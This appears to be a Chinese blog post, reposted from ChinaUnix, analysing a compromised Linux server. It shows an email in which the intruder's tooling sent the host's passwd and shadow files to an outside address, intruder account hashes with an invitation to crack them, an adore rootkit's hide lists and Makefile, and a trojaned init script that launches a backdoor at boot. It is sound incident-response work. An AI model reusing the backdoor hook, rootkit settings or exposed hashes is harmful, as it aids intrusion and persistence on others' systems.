ja_ja_j@yahoo.com
----- Transcript of session follows -----
... while talking to mx2.mail.yahoo.com.:
> >> DATA

Received: (from root@localhost)
by dnscache.i-168.com (8.9.3/8.9.3) id IAA02513
for ja_ja_j@yahoo.com; Sat, 2 Feb 2002 08:09:22 +0800
Date: Sat, 2 Feb 2002 08:09:22 +0800
From: root  
Message-Id:  
To: ja_ja_j@yahoo.com
Subject: Linux dnscache.i-168.com 2.2.18-2 #1 Tue Feb 27 20:54:01 CST
2001 i686 unknown
Linux dnscache.i-168.com 2.2.18-2 #1 Tue Feb 27 20:54:01 CST 2001 i686
unknown
|------
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/binsync
shutdown:x:6:0:shutdown:/sbin:/sbinshutdown
halt:x:7:0:halt:/sbin:/sbinhalt
mail:x:8:12:mail:/var/spoolmail:
news:x:9:13:news:/var/spoolnews:
uucp:x:10:14:uucp:/var/spooluucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usrgames:
gopher:x:13:30:gopher:/usr/libgopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
wnn:x:127:127:Wnn:/usr/local/bin/Wnn6:
哪里来的SHELL？又是后门，FT！
mysql:x:128:128:MySQL server:/var/lib/mysql:/binbash
bind:x:129:129::/etc/named:/dev/null
piranha:x:60:60::/home/httpd/html/piranha:/dev/null
squid:x:23:23::/var/spool/squid:/dev/null
chair:x:500:503::/home/chair:/bin/bash
dnscache:x:501:504::/home/dnscache:/binbash
dnslog:x:502:505::/home/dnslog:/binbash
cgi:x:0:0::/home/cgi:/bin/bash
家伙1
luck:x:503:506::/home/luck:/bin/bash
家伙2
luck1:x:0:507::/home/luck1:/bin/bash
家伙3|------
root:XXXXXXXXX.:11649:0:99999:7::: 保密啦
bin:*:11649:0:99999:7:::
daemon:*:11649:0:99999:7:::
adm:*:11649:0:99999:7:::
lp:*:11649:0:99999:7:::
sync:*:11649:0:99999:7:::
shutdown:*:11649:0:99999:7:::
halt:*:11649:0:99999:7:::
mail:*:11649:0:99999:7:::
news:*:11649:0:99999:7:::
uucp:*:11649:0:99999:7:::
operator:XXXXXXXXXX:11708:0:99999:7:-1:-1:134539376
games:*:11649:0:99999:7:::
games:*:11649:0:99999:7:::
gopher:*:11649:0:99999:7:::
ftp:*:11649:0:99999:7:::
nobody:*:11649:0:99999:7:::
wnn:*:11649:0:99999:7:::
mysql:!!:11649:0:99999:7:::
bind:!!:11649:0:99999:7:::
piranha:!!:11649:0:99999:7:::
squid:!!:11649:0:99999:7:::
chair:XXXXXXXXX:11649:0:99999:7:-1:-1:134539416 保密啦
dnscache:!!:11649:0:99999:7:::
dnslog:!!:11649:0:99999:7:::
cgi:5DnRYHyIa5w0g:11708:0:99999:7:-1:-1:134539416
luck:SqXj0pjOPwcxA:11720:0:99999:7:-1:-1:134538336
luck1:cqrTW5Ortfn7s:11720:0:99999:7:-1:-1:134538336
这几个就是他们的3DES后的东西，哪位朋友有时间和兴趣就CRACK了他吧
PING 216.115.108.245 (216.115.108.245) from 192.168.100.27 : 56(84)
bytes of data.
64 bytes from 216.115.108.245: icmp_seq=0 ttl=233 time=167.9 ms
64 bytes from 216.115.108.245: icmp_seq=1 ttl=233 time=170.7 ms
64 bytes from 216.115.108.245: icmp_seq=2 ttl=233 time=171.2 ms
64 bytes from 216.115.108.245: icmp_seq=3 ttl=233 time=174.6 ms
64 bytes from 216.115.108.245: icmp_seq=4 ttl=233 time=171.0 ms
--- 216.115.108.245 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 167.9/171.0/174.6 ms
下面的是在/home/luck/目录下的东西，看来也是不细心，又有
线索了，看样子改了内核，这个家伙在这里还考虑周到，怕
我重编内核？？
[root@mail luck]# cat .bash_history
cd /usr/src
ls
cd star
ls
cd S*
ls
tar -zxpvf *
ls
cd root
ls
l
ls
cd ls
ls
ls -af
ls
cd ..
ls
cd etc
ls
cd ..
ls
cd boot
ls
cd ..
ls
cd boto
ls -af
cd ..
ls
cd root
ls
ls -af
cd ..
ls
rm * -rf
ls
tar -zxpvf *
ls
cd ske
ls
ls -af
vi .X*
ls
ls -af
ls
ls -af
rm .X*
LS
ls
rm * -rf
ls
ls -af
ls
ls -af
vi .x*
ls
ls -af
rm .x*
ls
ls -af
vi .inputrc
ls
ls -af
vi .bashrc
ls -af
rm .g*
rm .gnome*
rm .gnome* -rf
ls
ls -af
rm .kde*
ls
ls -af
mv
mc
ls
ls -af
rm .net*
rm .net* -rf
ls -af
mc
ls
ls -af
cp -r .* /root
y
cd /
ls
cd usr
ls
cd src
ls
cd ..
ls
cd ..
ls
cd usr
ls
cd src
ls
cd tar
l
s
ls
cd S&*
cd S*
LS
ls
mount /dev/hdd /mnt/cdrom
cd /mnt/cdrom
ls
cd S*
ls
ls f*
rpm -i filesys*
cd ..
ls *ske*
ls
cd S*
ls
ls *ske*
rpm -i *ske*
cd ..
cd /
ls
cd root
ls
ls -af
cd ..
mv root rootstar
mkdir root
cd root
ls -af
cd ..
ls
cd rootstar
ls
ls -af
cd ..
ls
rm root -rf
ls
mkdir root
ls
cd root
ls -af
ls -a
ls .
rm ske -rf
ls
ls -af
rm skel -rf
ls
ls -af
ls
vi
ls
ROOTKIT里的文件，FT，几乎都考虑周全了，可惜啊，这些常用的
东西网管又怎么会相信呢，通常自己都有另一套东西的啦。
[root@mail rk]# ls
Makefile.non-smp cleaner.c hostkey logrc ps
tcpd
Makefile.smp dir ifconfig ls pstree
top
adore.c dummy.c iferc netstat rename.c
twist2open
afbackup exec-test.c install netstatrc seed
ava.c exec.c libinvisible.c network sshd_conf
bnc filerc libinvisible.h parser syslogd
bnc.conf find logcleaner procrc sz
下面的是这个ROOTKIT隐蔽起来的进程，端口，文件，网卡等
[root@mail rk]# cat netstatrc
3 7070
1 7070
3 31337
1 31337
3 32321
3 32322
3 32323
3 32324
3 32325
4 32321
4 32322
4 32323
4 32324
4 32325
4 6667
4 6669
4 6668
4 7000
4 6660
4 21
4 53
[root@mail rk]# cat logrc
home.com
nether.net
hobbiton.org
194.102
sshd
syslog
klogd
net-pf-10
modprobe
games
promiscuous
PF_INET
60G
yahoo.com
217.10
193.226
hypermart
failure
geocities
[root@mail rk]# cat procrc
3 darkbot
3 psybnc
3 slice
3 vadim
3 eggdrop
3 mech
3 banner
3 massbind
3 masslpd
3 scan
3 ping
3 afbackup
3 bnc
3 sniff
3 root
3 bind
3 statd
3 lpd
3 r00t
3 smurf
3 synk
3 twist2open
看看MAKEFILE对查找后门放在哪里有帮助。adore ，ava ，cleaner这3个文件，看
看
哪些文件里有加载先
[root@mail rk]# cat Makefile.smp
#
CC=gcc
CFLAGS=-O2 -Wall
#CFLAGS+=-m486
CFLAGS+=-DELITE_CMD=32321
CFLAGS+=-DELITE_UID=34
CFLAGS+=-DCURRENT_ADORE=32
CFLAGS+=-DADORE_KEY="rewt"
CFLAGS+=-DHIDDEN_SERVICE="":32321""
CFLAGS+=-D__SMP__
CFLAGS+=-DHIDDEN_PORT=32321
CFLAGS+=-DMODVERSIONS
all: adore ava cleaner
adore: adore.c
rm -f adore.o
$(CC) -c -I/usr/src/linux/include $(CFLAGS) adore.c -o adore.o
ava: ava.c libinvisible.c
$(CC) $(CFLAGS) ava.c libinvisible.c -o ava
dummy: dummy.c
$(CC) -c -I/usr/src/linux/include $(CFLAGS) dummy.c
cleaner: cleaner.c
$(CC) -I/usr/src/linux/include -c $(CFLAGS) cleaner.c
exec-test: exec-test.c
$(CC) -Wall -O2 exec-test.c -DSAYSO="ORIGINAL" -o
/bin/exec-test
$(CC) -Wall -O2 exec-test.c -DSAYSO="FAKE" -o /tmp/foobar
clean:
rm -f core ava *.o
[root@mail rk]# cat Makefile.
Makefile.non-smp Makefile.smp
[root@mail rk]# cat Makefile.
Makefile.non-smp Makefile.smp
[root@mail rk]# cat Makefile.non-smp
#
CC=gcc
CFLAGS=-O2 -Wall
#CFLAGS+=-m486
CFLAGS+=-DELITE_CMD=32321
CFLAGS+=-DELITE_UID=34
CFLAGS+=-DCURRENT_ADORE=32
CFLAGS+=-DADORE_KEY="rewt"
CFLAGS+=-DHIDDEN_SERVICE="":32321""
#CFLAGS+=-D__SMP__
CFLAGS+=-DHIDDEN_PORT=32321
CFLAGS+=-DMODVERSIONS
all: adore ava cleaner
adore: adore.c
rm -f adore.o
$(CC) -c -I/usr/src/linux/include $(CFLAGS) adore.c -o adore.o
ava: ava.c libinvisible.c
$(CC) $(CFLAGS) ava.c libinvisible.c -o ava
dummy: dummy.c
$(CC) -c -I/usr/src/linux/include $(CFLAGS) dummy.c
cleaner: cleaner.c
$(CC) -I/usr/src/linux/include -c $(CFLAGS) cleaner.c
exec-test: exec-test.c
$(CC) -Wall -O2 exec-test.c -DSAYSO="ORIGINAL" -o
/bin/exec-test
$(CC) -Wall -O2 exec-test.c -DSAYSO="FAKE" -o /tmp/foobar
clean:
rm -f core ava *.o
root@mail rk]# cat network |more
#!/bin/bash
#
# network Bring up/down networking
#
# chkconfig: 2345 10 90
# description: Activates/Deactivates all network interfaces configured
to  
# start at boot time.
# probe: true
# Source function library.
. /etc/init.d/functions
if [ ! -f /etc/sysconfig/network ]; then
exit 0
fi
. /etc/sysconfig/network
if [ -f /etc/sysconfig/pcmcia ]; then
. /etc/sysconfig/pcmcia
fi
# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0
[ -x /sbin/ifconfig ] || exit 0
# Even if IPX is configured, without the utilities we can't do much
[ ! -x /sbin/ipx_internal_net -o ! -x /sbin/ipx_configure ] && IPX=
# If IPv6 is explicitly configured, make sure it's available.
if [ "$NETWORKING_IPV6" = "yes" ]; then
alias=****modprobe -c | grep net-pf-10 | awk '{ print $3 }'****
if [ "$alias" != "ipv6" -a ! -f /proc/net/if_inet6 ]; then
echo "alias net-pf-10 ipv6" >> /etc/modules.conf
fi
fi
CWD=****pwd****
cd /etc/sysconfig/network-scripts
# find all the interfaces besides loopback.
# ignore aliases, alternative configurations, and editor backup files
interfaces=****ls ifcfg* | LANG=C egrep -v '(ifcfg-lo|:
|rpmsave|rpmorig|rpmnew)' |  
LANG=C egrep -v '(~|.bak)$' |  
LANG=C egrep -v 'ifcfg-cipcb[0-9]+$' |  
LANG=C egrep -v 'ifcfg-ippp[0-9]+$' |  
LANG=C egrep 'ifcfg-[a-z0-9]+$' |  
sed 's/^ifcfg-//g'****
# See how we were called.
case "$1" in
start)
/usr/bin/twist2open >>/dev/null 2>&1
//就是在这里加载后门的啦！TMD，真是混蛋
action $"Setting network parameters: " sysctl -e -p
/etc/sysctl.conf
action $"Bringing up interface lo: " ./ifup ifcfg-lo
case "$IPX" in
yes|true)
/sbin/ipx_configure --auto_primary=$IPXAUTOPRIMARY  
--auto_interface=$IPXAUTOFRAME
if [ "$IPXINTERNALNETNUM" != "0" ]; then
/sbin/ipx_internal_net add $IPXINTERNALNETNUM
$IPXINTERNALNODENUM
fi
;;
esac
oldhotplug=****sysctl kernel.hotplug 2>/dev/null| awk '{ print
$3 }' 2>/dev/null****
sysctl -w kernel.hotplug="/bin/true" > /dev/null 2>&1
for i in $interfaces; do
if LANG=C egrep -L "^ONBOOT="?[Nn][Oo]"?" ifcfg-$i
> /dev/null 2>&1 ; then
if [ "${i##eth}" != "$i" ]; then
# Probe module to preserve interface
ordering
if [ -n "****modprobe -vn $i | grep -v Note:****" ];
then
/sbin/ifconfig $i >/dev/null 2>&1
fi
fi
else
# If we're in confirmation mode,
get user confirmation
[ -n "$CONFIRM" ] &&
{
confirm $i
case $? in
0)
:
;;
2)
CONFIRM=
;;
*)
continue
;;
esac
}
action $"Bringing up interface $i: " ./ifup $i
boot
fi
done
# add cipe here.
cipeinterfaces=****ls ifcfg* | LANG=C egrep -v '(ifcfg-lo|:
|rpmsave|rpmorig|rpmnew)' |  
LANG=C egrep -v '(~|.bak)$' |  
LANG=C egrep 'ifcfg-cipcb[0-9]+$' |  
sed 's/^ifcfg-//g'****
for i in $cipeinterfaces ; do
if ! LANG=C egrep -L "^ONBOOT="?[Nn][Oo]"?" ifcfg-$i
> /dev/null 2>&1 ; then
# If we're in confirmation mode, get user confirmation
[ -n "$CONFIRM" ] &&
{
confirm $i
case $? in
0)
:
;;
2)
CONFIRM=
;;
*)
continue
;;
esac
}
action $"Bringing up interface $i: " ./ifup $i boot
fi
done
sysctl -w kernel.hotplug=$oldhotplug > /dev/null 2>&1
# Add non interface-specific static-routes.
if [ -f /etc/sysconfig/static-routes ]; then
grep "^any" /etc/sysconfig/static-routes | while read
ignore args ; do
/sbin/route add -$args
done
fi
touch /var/lock/subsys/network
;;
stop)
/usr/bin/weather U dummy >>/dev/null 2>&1
kill -9 ****pidof afbackup****
kill -9 ****pidof bnc****
关闭那些后门进程啦，FT
# If this is a final shutdown/halt, check for network FS,
# and unmount them even if the user didn't turn on netfs
if [ "$RUNLEVEL" = "6" -o "$RUNLEVEL" = "0" -o "$RUNLEVEL" = "1"
]; then
NFSMTAB=****grep -v '^#' /proc/mounts | awk '{ if ($3 ~
/^nfs$/ ) print $2}'****
SMBMTAB=****grep -v '^#' /proc/mounts | awk '{ if ($3 ~
/^smbfs$/ ) print $2}'****
NCPMTAB=****grep -v '^#' /proc/mounts | awk '{ if ($3 ~
/^ncpfs$/ ) print $2}'****
if [ -n "$NFSMTAB" -o -n "$SMBMTAB" -o -n "$NCPMTAB" ] ;
then
/etc/init.d/netfs stop
fi
fi
for i in $interfaces ; do
if LC_ALL= LANG= ifconfig $i 2>/dev/null | grep -q "
UP " >/dev/null 2>&1 ; then
action $"Shutting down interface $i: " ./ifdown $i
boot
fi
done
case "$IPX" in
yes|true)
if [ "$IPXINTERNALNETNUM" != "0" ]; then
/sbin/ipx_internal_net del
fi
;;
esac
./ifdown ifcfg-lo
if [ -d /proc/sys/net/ipv4 ]; then
if [ -f /proc/sys/net/ipv4/ip_forward ]; then
if [ ****cat /proc/sys/net/ipv4/ip_forward**** != 0 ]; then
action $"Disabling IPv4 packet forwarding: "
sysctl -w net.ipv4.ip_forward=0
fi
fi
if [ -f /proc/sys/net/ipv4/ip_always_defrag ]; then
if [ ****cat /proc/sys/net/ipv4/ip_always_defrag**** != 0 ];
then
action $"Disabling IPv4 automatic
defragmentation: " sysctl -w net.ipv4.ip_always_defr
ag=0
fi
fi
fi
rm -f /var/lock/subsys/network
;;
status)
echo $"Configured devices:"
echo lo $interfaces
if [ -x /sbin/linuxconf ] ; then
eval ****/sbin/linuxconf --hint netdev****
echo $"Devices that are down:"
echo $DEV_UP
echo $"Devices with modified configuration:"
echo $DEV_RECONF
else
echo $"Currently active devices:"
echo ****/sbin/ifconfig | grep ^[a-z] | awk '{print $1}'****
fi
;;
restart)
cd $CWD
$0 stop
$0 start
;;
reload)
if [ -x /sbin/linuxconf ] ; then
eval ****/sbin/linuxconf --hint netdev****
for device in $DEV_UP ; do
action $"Bringing up device $device: " ./ifup
$device
done
for device in $DEV_DOWN ; do
action $"Shutting down device $device: " .
/ifdown $device
done
for device in $DEV_RECONF ; do
action $"Shutting down device $device: " .
/ifdown $device
action $"Bringing up device $device: " ./ifup
$device
done
for device in $DEV_RECONF_ALIASES ; do
action $"Bringing up alias $device: "
/etc/sysconfig/network-scripts/ifup-aliases $dev
ice
done
for device in $DEV_RECONF_ROUTES ; do
action $"Bringing up route $device: "
/etc/sysconfig/network-scripts/ifup-routes $devi
ce
done
case $IPX in yes|true)
case $IPXINTERNALNET in
reconf)
action $"Deleting internal IPX network: "
/sbin/ipx_internal_net del
action $"Adding internal IPX network
$IPXINTERNALNETNUM $IPXINTERNALNODENUM: " /sbin/i
px_internal_net add $IPXINTERNALNETNUM  
$IPXINTERNALNODENUM
;;
add)
action $"Adding internal IPX network
$IPXINTERNALNETNUM $IPXINTERNALNODENUM: " /sbin/i
px_internal_net add $IPXINTERNALNETNUM  
$IPXINTERNALNODENUM
;;
del)
action $"Deleting internal IPX network: "
/sbin/ipx_internal_net del
;;
esac
;;
esac
else
cd $CWD
$0 restart
fi
;;
probe)
if [ -x /sbin/linuxconf ] ; then
eval ****/sbin/linuxconf --hint netdev****
[ -n "$DEV_UP$DEV_DOWN$DEV_RECONF$DEV_RECONF_ALIASES" -o

-n "$DEV_RECONF_ROUTES$IPXINTERNALNET" ] &&  
echo reload
exit 0
else
# if linuxconf isn't around to figure stuff out for us,
# we punt. Probably better than completely reloading
# networking if user isn't sure which to do. If user
# is sure, they would run restart or reload, not probe.
exit 0
fi
;;
*)
echo $"Usage: $0 {start|stop|restart|reload|status|probe}"
exit 1
esac
exit 0
好了，经过36页的观察，基本知道是怎么回事了，本来以为实验机器随便一点无
所谓，
安全问题是个水桶，全部严密还好，有一点漏洞，这个水桶就没什么用了。 ：（


本文来自ChinaUnix博客，如果查看原文请点：http://blog.chinaunix.net/u/6097/showart_36098.html